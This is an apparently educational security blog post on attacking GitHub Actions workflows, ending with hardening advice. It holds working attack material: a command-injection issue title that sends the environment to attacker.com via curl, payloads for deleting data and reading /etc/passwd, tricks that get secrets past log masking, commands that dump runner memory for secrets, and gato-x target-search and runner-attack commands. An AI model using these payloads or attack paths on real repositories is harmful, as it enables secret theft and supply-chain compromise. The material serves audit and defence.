# GitHub Theft Actions

## Hacking GitHub Actions:

Look, if you're still treating GitHub Actions like some harmless CI/CD tool, you're about to have a bad time. March 2025 showed us what happens when attackers get creative - the tj-actions/changed-files compromise hit over 23,000 repositories in one shot. Not through some zero-day exploit. Not through sophisticated cryptography breaking. Just good old-fashioned trust abuse and some clever git tag manipulation.

[![Common GitHub Actions Security Vulnerabilities by Prevalence and Severity](https://ppl-ai-code-interpreter-files.s3.amazonaws.com/web/direct-files/95800ec1176b76ce4868501a3414bdac/efca6505-3d20-4379-ad5c-2d41d8ce1439/ec499cbe.png align="center")](https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/)

Let's cut through the BS and talk about what's actually happening in the wild and how to test for it.

## The Attack Surface Nobody's Watching

Here's the thing about GitHub Actions, it's not just running your tests anymore. It's got access to your secrets, can push code to your repo, deploy to production, and if you're using self-hosted runners, it's sitting inside your network. That's a lot of trust for YAML files that most devs copy/paste from Stack Overflow.

The basic components you need to understand:

* **Workflows**: Those `.github/workflows/*.yml` files that define everything
    
* **Triggers**: What kicks off a workflow (push, pull\_request, issue\_comment, etc.)
    
* **Runners**: Where the code actually executes (GitHub-hosted or self-hosted)
    
* **Secrets & Tokens**: The keys to the kingdom
    

Each of these is an attack vector. Let me show you how.

## Command Injection: The Gift That Keeps on Giving

This is the low-hanging fruit, but it's everywhere. GitHub Actions uses `${{...}}` for expressions, and here's the kicker - it's not variable expansion, it's literal string substitution before the shell even sees it.

Take this workflow that looks innocent enough:

```yaml
name: Greet on New Issue
on:
  issues:
    types: [opened]
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - name: Greet User
        run: echo "Processing new issue: ${{ github.event.issue.title }}"
```

Now watch what happens when I create an issue with this title:

```bash
Welcome!"; curl http://attacker.com/leak?data=$(env | base64 -w0); echo "Done
```

The runner executes:

```bash
echo "Processing new issue: Welcome!"; curl http://attacker.com/leak?data=$(env | base64 -w0); echo "Done"
```

Boom. All your environment variables just got exfiltrated. Including secrets.

### Reference for Injectable Inputs

| Input | Where It Comes From | Example Payload |
| --- | --- | --- |
| `github.event.issue.title` | Issue titles | `"; ls -la; #` |
| `github.event.comment.body` | Comments on issues/PRs | `"; curl` [`evil.com/$(whoami)`](http://evil.com/$\(whoami\))`; #` |
| `github.event.pull_request.head.ref` | Branch names | `main"; rm -rf /; #` |
| `github.event.pull_request.title` | PR titles | `Fix"; cat /etc/passwd >&2; #` |

## The pull\_request\_target Foot gun

This one's brutal. The `pull_request_target` trigger was designed to let workflows comment on PRs from forks. The problem? It runs in the context of the base branch with full permissions, but can be tricked into running code from the PR.

Here's the vulnerable pattern everyone keeps using:

```yaml
on:
  pull_request_target:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}  # <- THE MISTAKE
      - run: npm test
```

The attack:

1. Fork the repo
    
2. Add malicious code to `package.json` or test files
    
3. Submit a PR
    
4. Your malicious code runs with full repo permissions
    

This exact pattern compromised repositories from MITRE, Splunk, and Spotify's API library. It's everywhere.

## Self-Hosted Runners: 💣

GitHub-hosted runners are ephemeral.  
These runners are temporary and short-lived; they spin up to execute a job and then disappear once the job is completed. This is in contrast to self-hosted runners, which are persistent and remain active on the network.

They spin up, run your job, disappear. Self-hosted runners? They're persistent. They're on your network. They're probably running as a service account with way too many permissions.

The attack path is straightforward:

1. Find a public repo using self-hosted runners (look for `runs-on: self-hosted`)
    
2. Fork it and create a malicious workflow
    
3. Submit a PR - if they have the "first-time contributor" approval requirement, just fix a typo first to become a "contributor"
    
4. Your workflow runs on their runner
    
5. Drop a reverse shell or C2 implant
    
6. Wait for legitimate jobs to run and steal their secrets
    

The runner is now your persistent backdoor into their network. You can:

* Steal secrets from future jobs
    
* Pivot through their internal network
    
* Inject backdoors into their release builds
    

## Secret Exfiltration

GitHub tries to mask secrets in logs, but it's trivial to bypass:

```bash
# This gets masked
echo ${{ secrets.API_KEY }}

# This doesn't
echo ${{ secrets.API_KEY }} | base64

# Neither does this
echo ${{ secrets.API_KEY }} | rev
```

But here's where it gets interesting. The runner process itself holds all secrets in memory. On a self-hosted runner where you have execution:

```bash
# Dump the runner process memory
sudo gcore $(pgrep Runner.Listener)

# Extract secrets from the dump
strings core.* | grep -A5 -B5 "SECRET_NAME"
```

Even better - the runner writes temporary script files with secrets hardcoded:

```bash
cat /home/runner/work/_temp/*.sh
```

## Exploiting with [gato-x](https://github.com/AdnaneKhan/gato-x)

Let's break something. The [Gato (Github Attack TOolkit) - Extreme Edition](https://github.com/AdnaneKhan/gato-x) tool automates most of this:

```bash
# Search for vulnerable repos
gato-x s -sg -q 'count:10000 /(issue_comment|pull_request_target)/ file:.github/workflows/ lang:yaml' -oT targets.txt

# Enumerate vulnerabilities
gato-x e -R targets.txt

# Attack a self-hosted runner (with authorization)
gato-x a --runner-on-runner --target ORG/REPO --target-os linux --target-arch x64
```

## Race Conditions: The Actions TOCTOU Attack

Some workflows require manual approval before running PR code. There's a race condition here:

1. Submit benign PR
    
2. Maintainer reviews and approves
    
3. Between approval and execution, force-push malicious code
    
4. Runner executes the malicious version
    

The [ActionsTOCTOU tool](https://github.com/AdnaneKhan/ActionsTOCTOU) automates this - it watches for approval and instantly swaps the code.

## The tj-actions Supply Chain Attack:

This wasn't some theoretical or imaginary attack. In March 2025, attackers compromised tj-actions/changed-files and hit 23,000+ repos. Here's how they did it:

1. **Initial foothold**: Found a `pull_request_target` vulnerability in a completely different repo (spotbugs/sonar-findbugs)
    
2. **Token theft**: Used it to leak a maintainer's Personal Access Token
    
3. **Lateral movement**: That maintainer had access to reviewdog/action-setup
    
4. **Tag manipulation**: Pushed malicious code and updated the `v1` tag to point to it
    
5. **Chain reaction**: tj-actions/changed-files used reviewdog in its workflow, got compromised
    
6. **Mass exploitation**: Updated all tj-actions version tags to dump secrets in logs
    

The clever bit? They didn't modify the main branch. They just moved the version tags. Everyone pulling `@v1` or `@v35` got owned instantly.

## Testing Your Own Workflows

Start with the basics:

```bash
# Find risky triggers
grep -r "pull_request_target\|workflow_run" .github/workflows/

# Find expression injection points
grep -r '\${{.*github\.event' .github/workflows/

# Find self-hosted runners
grep -r "runs-on:.*self-hosted" .github/workflows/
```

For each vulnerable pattern you find, create a test:

* Command injection: Create issues/PRs with payloads
    
* Pwn requests: Fork and submit malicious PRs
    
* Secret leakage: Check artifact contents
    

## Defending This Mess

Pin your actions to commit SHAs, not tags:

```yaml
# Bad
- uses: actions/checkout@v4

# Good
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
```

Never interpolate user input directly:

```yaml
# Bad
run: echo "${{ github.event.issue.title }}"

# Good
env:
  TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"
```

Set minimal permissions:

```yaml
permissions:
  contents: read
  # Only what you need
```

For self-hosted runners: Run them in isolated networks. Use ephemeral containers. Never on public repos unless you enjoy pain.

## TL;DR

Most organizations have no idea how exposed they are through GitHub Actions. The workflows are public, the attack tools are free, and the payoff for attackers is massive. We're seeing credential theft, supply chain attacks, and full network compromises - all through YAML files that nobody's reviewing.

Start auditing your workflows today. Because if you don't, someone else will.

## References

**The tj-actions/changed-files Supply Chain Attack**  
[The Hacker News: GitHub Action Compromise Puts CI/CD](https://thehackernews.com/2025/03/github-action-compromise-puts-cicd.html)

**GitHub Actions Script Injection Documentation**  
[GitHub Docs: Security hardening for GitHub Actions - Script Injections](https://docs.github.com/en/actions/concepts/security/script-injections)

**Pwn Request Vulnerabilities Research**  
[Praetorian: Pwn Request - Hacking Microsoft GitHub Repositories and More](https://www.praetorian.com/blog/pwn-request-hacking-microsoft-github-repositories-and-more/)

**Self-Hosted Runner Security Analysis**  
[Unit 42: GitHub Actions Supply Chain Attack](https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack/)

**ArtiPACKED Vulnerability Research**  
[Unit 42: GitHub Repository Artifacts Leak Tokens](https://unit42.paloaltonetworks.com/github-repo-artifacts-leak-tokens/)
